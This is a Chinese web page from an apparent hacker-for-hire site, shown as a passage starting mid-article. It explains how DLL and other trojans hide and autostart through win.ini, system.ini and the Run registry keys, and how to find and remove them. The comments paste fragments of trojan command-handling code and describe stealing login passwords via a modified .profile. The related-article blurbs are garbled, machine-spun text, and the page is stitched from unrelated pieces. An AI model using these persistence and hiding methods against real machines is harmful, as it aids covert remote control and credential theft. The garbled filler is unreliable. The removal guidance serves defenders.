有一些更复杂点的DLL木马通过svchost.exe启动,这种DLL木马必须写成NT-Service,入口函数是ServiceMain,一般很少见,但是这种木马的隐蔽性也不错,而且Loader有保障。

4.其它

到这里大家也应该对DLL木马有个了解了,是不是很想写一个?别急,不知道大家想过没有,既然DLL木马这么好,为什么到现在能找到的DLL木马寥寥无几?现在让我来泼冷水,最重要的原因只有一个:由于DLL木马挂着系统进程运行,如果它本身写得不好,例如没有防止运行错误的代码或者没有严格规范用户的输入,DLL就会出错崩溃。别紧张,一般的EXE也是这样完蛋的,但是DLL崩溃会导致它挂着的程序跟着遭殃,别忘记它挂接的是系统进程哦,结局就是……惨不忍睹。所以写一个能公布的DLL木马,在排错检查方面做的工作要比一般的EXE木马多,写得多了自己都烦躁……

六、DLL木马的发现和查杀

经常看看启动项有没有多出莫名其妙的项目,这是Loader的所在,只要杀了狼,狈就不能再狂了。而DLL木马本体比较难发现,需要你有一定编程知识和分析能力,在Loader里查找DLL名称,或者从进程里看多挂接了什么陌生的DLL,可是对新手来说……总之就是比较难啊比较难,所以,最简单的方法:杀毒软件和防火墙(不是万能药,切忌长期服用)。

木马的制作

概念:特洛伊木马(以下简称木马),英文叫做“Trojan house”,其名称取自希腊神话的特洛伊木马记。

它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。

所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具体位置,往往只能望“马”兴叹。

所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。

从木马的发展来看,基本上可以分为两个阶段。

最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。

而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。

所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。

原理:“木马”程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False、ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。

当然它也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,,“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。下面具体谈谈“木马”是怎样自动加载的。

在win.ini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,必须仔细留心它们。一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如“AOL Trojan木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件。

在system.ini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是“explorer.exe”,而是“shell= explorer.exe 程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。

在注册表中的情况最复杂,通过regedit命令打开注册表编辑器,在点击至:“HKEY-LOCAL-MACHINE/Software/Microsoft/Windows/CurrentVersion/Run”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE。

这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“Acid Battery v1.0木马”,它将注册表“HKEY-LOCAL-MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run”下的Explorer 键值改为Explorer=“C:/WINDOWS/expiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。

当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT-USER/Software/Microsoft/Windows/CurrentVersion/Run”、“HKEY-USERS/****/Software/Microsoft/Windows/CurrentVersion/Run”的目录下都有可能,最好的办法就是在“HKEY-LOCAL-MACHINE/Software/Microsoft/Windows/CurrentVersion/Run”下找到“木马”程序的文件名,再在整个注册表中搜索即可。

知道了“木马”的工作原理,查杀“木马”就变得很容易,如果发现有“木马”存在,最安全也是最有效的方法就是马上将计算机与网络断开,防止黑客通过网络对你进行攻击。

然后编辑win.ini文件,将[WINDOWS]下面,“run=“木马”程序”或“load=“木马”程序”更改为“run=”和“load=”;编辑system.ini文件,将[BOOT]下面的“shell=‘木马’文件”,更改为:“shell=explorer.exe”;在注册表中,用regedit对注册表进行编辑,先在“HKEY-LOCAL-MACHINE/Software/Microsoft/Windows/CurrentVersion/Run”下找到“木马”程序的文件名,再在整个注册表中搜索并替换掉“木马”程序。

有时候还需注意的是:有的“木马”程序并不是直接将“HKEY-LOCAL-MACHINE/Software/Microsoft/Windows/CurrentVersion/Run”下的“木马”键值删除就行了,因为有的“木马”如:BladeRunner“木马”,如果你删除它,“木马”会立即自动加上,你需要的是记下“木马”的名字与目录,然后退回到MS-DOS下,找到此“木马”文件并删除掉。

重新启动计算机,然后再到注册表中将所有“木马”文件的键值删除。至此,我们就大功告成了。

木马一词的来源:

“木马”原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。在Internet上,“特洛伊木马”指一些程序设计人员在其可从网络上下载(Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪

扫描二维码推送至手机访问。

版权声明:本文由黑客平台在线接单_免费黑客平台的网站发布,如需转载请注明出处。

本文链接:http://heikexuexi.com/60369.html

分享给朋友:

“木马编程shell(木马编程pdf下载)” 的相关文章

简历怎么写自我介绍,有趣

简历怎么写自我介绍,有趣

                                                                                               简历外的自我推荐 是一个非常重要的 内容,所以除夕 野?知道怎么写简历外的自我推荐 内容吗?如何写简历外的自我...

大学生个人总结

大学生个人总结

                                                                                               结论是将零碎 、浅 的理性认知提升为系统 的深度 感性认知,然后患上没有迷信的判断,从而引领成就 ,克服 缺陷...

竞选劳动委员演讲稿

竞选劳动委员演讲稿

                                                                                               在学校的简历真的很长很长很长很长,尤其是一点班级湿部,或者重心学校 的班级湿部,合作异常 剧烈 ,无论班级少,...

毕业自我鉴定大专

毕业自我鉴定大专

                                                                                               四年的教学空间将瞬间过去 ,有些人将在不久的将来 将分开 回忆 本身 在那四年的学习 生涯 作品没有自己 总...

写给爸爸的一封信

写给爸爸的一封信

                                                                                               世界上第一个拥抱尔的男人 是二的女人。世界上第一个听到二哭,看到二哭的人是二的女人。世界上第一个鸣尔宝 , 总...

家长会心得体会(精选)

家长会心得体会(精选)

                                                                                               每个野少都邑 没有机会加入 野少会。几篇野少会意 患上了解 ,欢迎 浏览参考。口患上领会 ?一那周 四尔加入了...

评论列表

断渊囍神
2年前 (2022-07-17)

”命令,(手指累不累啊?): { else if(temp.SubString(0,4)=="type") { file://如果前4个字符是“type” int Read_Num; int number=temp.Length(); AnsiString File_Name=temp.SubSt

边侣惘说
2年前 (2022-07-17)

或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。